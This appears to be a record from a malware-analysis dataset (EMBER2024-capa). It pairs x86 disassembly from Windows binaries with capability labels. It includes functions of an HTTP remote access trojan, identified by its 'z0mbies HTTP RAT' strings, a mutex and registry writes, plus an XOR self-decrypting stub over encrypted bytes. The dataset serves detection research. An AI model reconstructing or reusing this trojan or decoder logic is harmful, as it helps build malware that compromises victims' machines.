joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4069b0
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi + 0x18]
mov dword [esi], vtable.CSocketManagerUdp.0
test eax, eax
je 0x4069dd
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [esi + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x18], 0
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x4069f3
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 4], 0xffffffff
test byte [ebp + 8], 1
je 0x406a03
push esi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x406a10
Capabilities:
Create thread
Create udp socket
Terminate thread

Disassembly:
push esi
push 0
push 2
push 2
mov esi, eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x40d9dc], eax
cmp eax, 0xffffffff
jne 0x406a86
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str._SocketUDP__WSASocket___failed_with_error:__d
push 1
call fcn.00406e20
mov eax, dword [0x40d9f0]
add esp, 0xc
test eax, eax
je 0x406a67
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [0x40d9f0]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x40d9f0], 0
mov eax, dword [0x40d9dc]
cmp eax, 0xffffffff
je 0x406a82
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [0x40d9dc], 0xffffffff
xor al, al
pop esi
ret
mov ecx, 2
push 0
mov word [0x40d9e0], cx
call dword [sym.imp.WS2_32.dll_htonl]
push esi
mov dword [0x40d9e4], eax
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [0x40d9dc]
push 0x10
push 0x40d9e0
push edx
mov word [0x40d9e2], ax
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x406ad6
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str._SocketUDP__bind___failed_with_error:__d
jmp 0x406a35
push 0
push 0
push 0x40d9d8
push 0x406b90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x40d9f0], eax
test eax, eax
jne 0x406b1b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._SocketUDP__CreateThread___failed_with_error:__d
push 1
call fcn.00406e20
add esp, 0xc
mov esi, 0x40d9d8
call fcn.00406b50
xor al, al
pop esi
ret
push 0x1000
push 0
push 0x40d9f4
call sub.MSVCR100.dll_memset
movzx ecx, si
push ecx
push str._SocketUDP__Server_started_at_port___d_
push 3
mov dword [0x40e9f4], 0
call fcn.00406e20
add esp, 0x18
mov al, 1
pop esi
ret

Function at 0x406b50
Capabilities:
Terminate thread

Disassembly:
mov eax, dword [esi + 0x18]
test eax, eax
je 0x406b71
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [esi + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x18], 0
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x406b87
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 4], 0xffffffff
ret
Function at 0x406d90
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x40c018]
xor eax, ebp
mov dword [ebp - 4], eax
jmp 0x406db5
push 0x100
lea eax, [ebp - 0x104]
push 0
push eax
call sub.MSVCR100.dll_memset
mov edx, dword [ebp + 8]
lea ecx, [ebp + 0xc]
push ecx
push edx
lea eax, [ebp - 0x104]
push 0x100
push eax
call dword [sym.imp.MSVCR100.dll_vsprintf_s]
add esp, 0x1c
push 0x10
push str.Error
lea ecx, [ebp - 0x104]
push ecx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x406e0d
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x406ef0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push esi
push edi
xor edi, edi
mov esi, 0x40fe5c
test edi, edi
js 0x406f6c
xor eax, eax
cmp edi, 0x64
setl al
test eax, eax
je 0x406f6c
cmp dword [esi - 0x14], 0
je 0x406f6c
cmp dword [esi], 0xffffffff
je 0x406f6c
call ebx
sub eax, dword [esi + 0x10]
cmp eax, 0x3e8
jb 0x406f33
mov dword [esi + 0x14], 0
call ebx
mov dword [esi + 0x10], eax
call ebx
mov ecx, dword [0x40fd58]
sub eax, dword [esi + 0xc]
imul ecx, ecx, 0x3e8
cmp eax, ecx
jb 0x406f6c
lea edx, [esi - 0x10]
push edx
push str.__s__Client_disconnected__timeout.
push 2
mov ecx, 0x40c1d8
call fcn.00403670
add esp, 0xc
mov eax, edi
mov ecx, 0x4112b8
call fcn.004061b0
add esi, 0x34
inc edi
cmp esi, 0x4112ac
jl 0x406f00
pop edi
pop esi
pop ebx
ret

Function at 0x40715e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c018]
jne 0x407168
repz ret
jmp fcn.00407698
Function at 0xbf2aa4
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0xbf2aaa
pop ebp
sub ebp, 6
sub ebp, 0x7f2aa4
jmp 0xbf2b08
mov al, byte [esp + 0x28]
cmp al, 1
je 0xbf2b1f
popal
xor eax, eax
inc eax
ret 0xc
jmp 0xbf2b28
mov eax, 0x7f2aa4
add eax, ebp
add eax, 0xaa
mov ecx, 0x5ba
mov edx, 0x269651a6
xor byte [eax], dl
inc eax
dec ecx
jne 0xbf2b3f
jmp 0xbf2b52
sub eax, 0x9a2f2d6b
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
daa
pop esi
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
movsd dword es:[edi], dword [esi]
imul ebx, dword [esi], 0xffffffad
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
sbb al, 0x8e
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
push ecx
inc esp
movsd dword es:[edi], dword [esi]
outsb dx, byte [esi]
sub eax, 0xa6a6aa27
cmpsb byte [esi], byte es:[edi]
movsd dword es:[edi], dword [esi]
arpl si, si
test dh, 0x8e
xchg ebx, eax
stosd dword es:[edi], eax
cmpsb byte [esi], byte es:[edi]
into
fst qword [ebx - 0x29]
cmpsb byte [esi], byte es:[edi]
cmpsd dword [esi], dword es:[edi]
mov al, byte [edx - 0x273a4f32]
sti
dec esi
mov dword [0x4fa6a6a6], eax
mov fs, word [esi - 0xd0c595a]
sti
sub eax, 0xa6a6ae23
cmpsb byte [esi], byte es:[edi]
sub eax, 0xa6a6aa33
cmpsb byte [esi], byte es:[edi]
sub eax, 0xa6a6b62b
cmpsb byte [esi], byte es:[edi]
dec edi
movsb byte es:[edi], byte [esi]
xchg edi, eax
movsb byte es:[edi], byte [esi]
and eax, 0xa9efa264
and edx, dword [edx + 0x59]
pop ecx
pop ecx
sti
stosb byte es:[edi], al
cmpsb byte [esi], byte es:[edi]
sub eax, 0xa6a2822a
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
into
mov ss, word [ebx - 0x22315955]
push ebx
xlatb
cmpsb byte [esi], byte es:[edi]
cmpsd dword [esi], dword es:[edi]
mov al, byte [edx - 0x595cb109]
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
dec edi
out 0xa4, eax
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
sub ecx, edx
and byte [esi + 0x59aad359], 0xd3
scasb al, byte es:[edi]
dec esi
aam 0xa6
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
sub eax, 0xa6a6ae1b
cmpsb byte [esi], byte es:[edi]
daa
push edi
mov edx, 0x27b82cda
push edi
mov edx, 0x95b82cda
outsd dx, dword [esi]
xchg ebp, eax
je 0xbf2c29
dec esi
mov dword [0xe822a9ee], eax
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
test eax, 0xa6a6ee2e
cmpsb byte [esi], byte es:[edi]
shr byte [0x5d269fba], 0x4e
test eax, 0xa6a6bc22
cmpsb byte [esi], byte es:[edi]
pop ebp
dec edi
test eax, 0xa6a6b722
cmpsb byte [esi], byte es:[edi]
shl byte [edi], 0x5d
pop ecx
sub dword [ecx - 0x59594cde], 0xffffffa6
out 0x4f, eax
push 0x59
pop ecx
pop ecx
invalid
Function at 0x401960
Capabilities:
Create tcp socket
Create thread
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x170
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov dword [0x40ce10], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
mov dword [0x40cb04], eax
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
mov dword [0x40d650], eax
cmp dword [0x40d650], 0
jne 0x4019a2
xor eax, eax
jmp 0x401baf
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x40ce0c], eax
cmp dword [0x40ce0c], 0xffffffff
jne 0x4019de
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Could_not_create_listen_socket
mov ecx, dword [0x40ce10]
push ecx
call fcn.00402686
add esp, 0xc
xor eax, eax
jmp 0x401baf
mov edx, dword [ebp + 8]
movsx eax, word [edx + 8]
test eax, eax
je 0x401a00
mov ecx, dword [ebp + 8]
mov dx, word [ecx + 8]
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x16a], ax
jmp 0x401a41
push 0x40b050
push str.http
call dword [sym.imp.WS2_32.dll_getservbyname]
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0
je 0x401a32
mov eax, dword [ebp - 0x15c]
mov cx, word [eax + 8]
mov word [ebp - 0x16a], cx
jmp 0x401a41
push 0x50
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x16a], ax
mov word [ebp - 0x16c], 2
mov dword [ebp - 0x168], 0
push 0x10
lea edx, [ebp - 0x16c]
push edx
mov eax, dword [0x40ce0c]
push eax
call dword [sym.imp.WS2_32.dll_bind]
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0xffffffff
jne 0x401aa7
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.bind___error
mov ecx, dword [0x40ce10]
push ecx
call fcn.00402686
add esp, 0xc
mov edx, dword [0x40ce0c]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x401baf
push accept
mov eax, dword [0x40ce0c]
push eax
call dword [sym.imp.WS2_32.dll_listen]
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0xffffffff
jne 0x401af6
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.listen___error
mov ecx, dword [0x40ce10]
push ecx
call fcn.00402686
add esp, 0xc
mov edx, dword [0x40ce0c]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x401baf
lea eax, [ebp - 0x170]
push eax
push 0
push 0x40d650
push 0x401c35
push 0
push 0
call fcn.004045bb
add esp, 0x18
mov dword [0x40d654], eax
cmp dword [0x40d654], 0
jne 0x401b4f
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push str.Could_not_create_listening_thread:__d
mov ecx, dword [0x40ce10]
push ecx
call fcn.00402636
add esp, 0xc
mov edx, dword [0x40ce0c]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x401baf
push 0x100
lea eax, [ebp - 0x154]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
mov dword [ebp - 0x54], 0x50
lea ecx, [ebp - 0x54]
push ecx
lea edx, [ebp - 0x50]
push edx
call fcn.004026d9
add esp, 8
mov ax, word [ebp - 0x16a]
push eax
call dword [sym.imp.WS2_32.dll_htons]
and eax, 0xffff
push eax
lea ecx, [ebp - 0x50]
push ecx
lea edx, [ebp - 0x154]
push edx
push str.HTTP_Server_Started:__s___s__on_port__d
mov eax, dword [0x40ce10]
push eax
call fcn.00402636
add esp, 0x14
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x401e8a
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0x10]
push eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.004047d0
add esp, 0xc
mov edx, dword [ebp + 0xc]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 8], eax
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x14], 0
push 0
lea ecx, [ebp - 0x30]
push ecx
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0x38]
push eax
push 1
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.WS2_32.dll_WSARecv]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x401f2f
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x3e5
je 0x401f28
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.WSARecv__
mov ecx, dword [0x40ce10]
push ecx
call fcn.00402686
add esp, 0xc
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x401fb5
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], 0
je 0x401f97
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov dword [ebp - 0xc], edx
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x10]
push eax
push 2
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x401f6a
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x401fb5
lea edx, [ebp - 0x34]
push edx
push 0
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x30]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.WS2_32.dll_WSAGetOverlappedResult]
test eax, eax
jne 0x401f93
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x401fb5
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x10]
add eax, dword [ebp - 0x38]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x10], eax
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x402100
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov ax, word [0x40b4a0]
mov word [ebp - 0x78], ax
mov cl, byte [0x40b4a2]
mov byte [ebp - 0x76], cl
lea edx, [ebp - 0x78]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.00404a50
add esp, 8
mov dword [ebp - 0x7c], eax
push 0x40b4a4
mov ecx, dword [ebp - 0x7c]
push ecx
call fcn.00404830
add esp, 8
test eax, eax
jne 0x40214d
mov edx, dword [ebp + 8]
mov dword [edx + 8], 0
jmp 0x402157
mov eax, 0xc
jmp 0x4022d9
lea eax, [ebp - 0x78]
push eax
push 0
call fcn.00404a50
add esp, 8
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0
jne 0x402178
mov eax, 7
jmp 0x4022d9
push 0x40b4a8
mov ecx, dword [ebp - 0x7c]
push ecx
call fcn.00404a50
add esp, 8
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
push edx
call fcn.004018a0
add esp, 4
push 0x40b4ac
mov eax, dword [ebp - 4]
push eax
call fcn.00404a50
add esp, 8
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
jne 0x4021bc
mov eax, 7
jmp 0x4022d9
mov ecx, dword [ebp - 0x74]
add ecx, 1
mov dword [ebp - 0x74], ecx
mov edx, dword [ebp - 0x74]
push edx
call fcn.00404540
add esp, 4
cmp eax, 3
jne 0x402243
mov eax, dword [ebp - 0x74]
movsx ecx, byte [eax + 1]
cmp ecx, 0x3a
jne 0x402243
mov edx, dword [ebp - 0x74]
movsx eax, byte [edx + 2]
cmp eax, 0x2f
jne 0x402243
mov ecx, dword [ebp - 0x74]
push ecx
call fcn.00403386
add esp, 4
test eax, eax
jne 0x402243
mov edx, dword [ebp + 8]
push edx
call fcn.004020bc
add esp, 4
mov eax, dword [ebp - 0x74]
push eax
push str._div_aligncenter__h2_seems_like_there_is_no_disk_in_drive__s__h2_
lea ecx, [ebp - 0x70]
push ecx
call fcn.00404900
add esp, 0xc
lea edx, [ebp - 0x70]
push edx
call fcn.00404540
add esp, 4
push eax
lea eax, [ebp - 0x70]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004024c1
add esp, 0xc
xor eax, eax
jmp 0x4022d9
mov edx, dword [ebp - 0x74]
push edx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x4022a6
mov eax, dword [ebp - 0xc]
and eax, 0x10
test eax, eax
je 0x402283
mov ecx, dword [ebp - 0x74]
push ecx
mov edx, dword [ebp + 8]
add edx, 0x1c
push edx
call fcn.00404960
add esp, 8
mov eax, dword [ebp + 8]
push eax
call fcn.004033ec
add esp, 4
xor eax, eax
jmp 0x4022d9
mov ecx, dword [ebp - 0x74]
push ecx
mov edx, dword [ebp + 8]
add edx, 0x1c
push edx
call fcn.00404960
add esp, 8
mov eax, dword [ebp + 8]
push eax
call fcn.00402371
add esp, 4
xor eax, eax
jmp 0x4022d9
push 0x40b4f4
push 0
call fcn.00404a50
add esp, 8
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x74]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00401fb9
add esp, 0xc
test eax, eax
jne 0x4022d7
mov eax, 7
jmp 0x4022d9
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x402444
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, 1
test eax, eax
je 0x4024bd
push 0
lea ecx, [ebp - 4]
push ecx
push 0x400
push 0x40ce14
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x18]
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x402489
push 0xb
mov ecx, dword [ebp + 8]
push ecx
call fcn.004025e3
add esp, 8
jmp 0x4024bd
cmp dword [ebp - 4], 0
jne 0x402491
jmp 0x4024bd
mov edx, dword [ebp - 4]
push edx
push 0x40ce14
mov eax, dword [ebp + 8]
push eax
call fcn.004024c1
add esp, 0xc
test eax, eax
jne 0x4024ac
jmp 0x4024bd
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x14]
add edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [eax + 0x14], edx
jmp 0x40244a
mov esp, ebp
pop ebp
ret

Function at 0x4024c1
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 8], ecx
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], 0
push 0
lea edx, [ebp - 0x30]
push edx
push 0
lea eax, [ebp - 0x38]
push eax
push 1
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.WS2_32.dll_WSASend]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x40254d
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x3e5
jne 0x402521
mov dword [ebp - 0x14], 1
jmp 0x40254d
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.WSASend__
mov ecx, dword [0x40ce10]
push ecx
call fcn.00402686
add esp, 0xc
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x4025df
cmp dword [ebp - 0x14], 0
je 0x4025d0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov dword [ebp - 0xc], edx
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x10]
push eax
push 2
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x402588
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x4025df
lea edx, [ebp - 0x34]
push edx
push 0
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x30]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.WS2_32.dll_WSAGetOverlappedResult]
test eax, eax
jne 0x4025d0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.WSAGetOverlappedResult__
mov ecx, dword [0x40ce10]
push ecx
call fcn.00402686
add esp, 0xc
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x4025df
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x4025e3
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
jb 0x4025f2
cmp dword [ebp + 0xc], 0xf
jbe 0x4025f4
jmp 0x402634
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax*4 + 0x40b55c]
push ecx
push str._body__h1__s__h1___body_
push 0x40cc0c
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x40cc0c
call fcn.00404540
add esp, 4
push eax
push 0x40cc0c
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.WS2_32.dll_send]
pop ebp
ret

Function at 0x4026d9
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_gethostname]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x402706
mov eax, dword [ebp + 8]
mov byte [eax], 0
or eax, 0xffffffff
jmp 0x40278c
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x402724
mov edx, dword [ebp + 8]
mov byte [edx], 0
or eax, 0xffffffff
jmp 0x40278c
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
call fcn.00404540
add esp, 4
mov dword [ebp - 0xc], eax
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0xc]
cmp eax, dword [edx]
jbe 0x402769
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0xc]
mov dword [ecx], edx
push 0x2726
call dword [sym.imp.WS2_32.dll_WSASetLastError]
or eax, 0xffffffff
jmp 0x40278c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0xc]
mov dword [eax], ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00404960
add esp, 8
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x402790
Capabilities:
Check mutex on windows
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
mov word [ebp - 0x198], 0x202
push str.z0mbies_http_RAT
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x4027c5
xor eax, eax
jmp 0x40286d
lea eax, [ebp - 0x190]
push eax
mov cx, word [ebp - 0x198]
push ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0
je 0x4027fc
push 0
push 0
push str.Initialize_WinSock_Failed
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x40286d
mov edx, dword [ebp - 0x190]
and edx, 0xffff
mov eax, dword [ebp - 0x198]
and eax, 0xffff
cmp edx, eax
je 0x40282a
push 0
push 0
push str.Wrong_WinSock_Version
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x40286d
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
push 0x40d580
call fcn.0040300e
add esp, 4
cmp dword [0x40d64c], 0
je 0x40284b
call fcn.00404452
call fcn.00402b1d
push 0
push 0x402873
push 0
push 1
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_DialogBoxParamA]
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4029a4
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x188
lea eax, [ebp - 0x24]
push eax
call fcn.004030e4
add esp, 4
test eax, eax
jne 0x4029c4
xor eax, eax
jmp 0x402b19
push 0x10
push 0
lea ecx, [ebp - 0x10]
push ecx
call fcn.004047d0
add esp, 0xc
mov dword [ebp - 0x14], 0x10
lea edx, [ebp - 0x188]
push edx
push 0xf003f
push 0
push 0x40b718
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x402a04
xor eax, eax
jmp 0x402b19
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
push ecx
push 0
push 0
push 0x40b734
mov edx, dword [ebp - 0x188]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x188]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 0x10]
push edx
call fcn.00404b50
add esp, 8
test eax, eax
je 0x402b14
lea eax, [ebp - 0x24]
push eax
call fcn.00404540
add esp, 4
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x188]
push ecx
push 0xf003f
push 0
push 0x40b738
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x402a7f
xor eax, eax
jmp 0x402b19
mov edx, dword [ebp - 0x14]
push edx
lea eax, [ebp - 0x24]
push eax
push 1
push 0
push 0x40b754
mov ecx, dword [ebp - 0x188]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x188]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
movsx eax, word [0x40d648]
push eax
lea ecx, [ebp - 0x24]
push ecx
push str.there_is_a_HTTPRAT_waiting_4_u_on_http:___s:_u_:_
lea edx, [ebp - 0xbc]
push edx
call fcn.00404900
add esp, 0x10
movsx eax, word [0x40d648]
push eax
lea ecx, [ebp - 0x24]
push ecx
push str.this_msg_is_sent_by_z0mbies_HTTP_RAT_nopen_the_following_url_in_your_browser:_nhttp:___s:_u_n_nfor_latest_version_of_HTTP_RAT_visit_http:__freenet.am_zombie_nhave_fun_:_
lea edx, [ebp - 0x184]
push edx
call fcn.00404900
add esp, 0x10
lea eax, [ebp - 0xbc]
push eax
lea ecx, [ebp - 0x184]
push ecx
push str.HTTP_RAT_0.1b
push str.zombie_freenet.am
push 0x40d5e4
push 0x40d580
call fcn.00403a8d
add esp, 0x18
mov eax, 1
mov esp, ebp
pop ebp
ret